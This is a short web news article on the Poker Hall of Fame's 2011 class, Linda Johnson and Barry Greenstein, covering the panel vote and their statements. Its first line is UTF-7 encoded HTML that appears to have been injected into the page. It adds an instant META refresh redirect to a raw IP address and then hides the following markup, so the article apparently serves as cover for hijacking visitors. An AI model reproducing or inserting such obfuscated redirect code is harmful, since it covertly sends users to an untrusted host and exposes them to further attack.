+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

In a tumultuous year in the poker world that has seen the reputations of some of the game’s greatest players tarnished, two of the games most highly respected representatives have been inducted into the Poker Hall of Fame. Linda Johnson known as “The First Lady of Poker” and Barry Greenstein known as the “Robin Hood of Poker” will make up the Poker Hall of Fame Class of 2011.

The duo was voted in by a 35-person panel made up of the 18 living Hall of Fame members and a specially selected group of 17 members of the poker media. The induction ceremony will take place just prior to the WSOP Main Event concluding on November 8^th.

Johnson, who won a WSOP bracelet back in 1997, is best known for her work behind the scenes in the industry. She has had a hand in establishing the World Poker Tour, Card Player Magazine, and the Tournament Directors Association, and is one of the most well-liked personalities in the poker world.

Greenstein has been a force in tournaments and cash games for decades now, and is one of the more philanthropically inclined poker players in the world, having donated millions of dollars to charities around the world (even when he is not flush with money).

According to the Associated Press the pair each gave a short statement after learning the good news with Johnson stating, “I feel lucky to have been involved in many facets of poker over the past 35 years… Being recognized by the industry is a tremendous honor.” Greenstein said in a statement that he was happy to be inducted alongside Johnson, whom he called “the most fervent ambassador for poker for as long as I can remember.”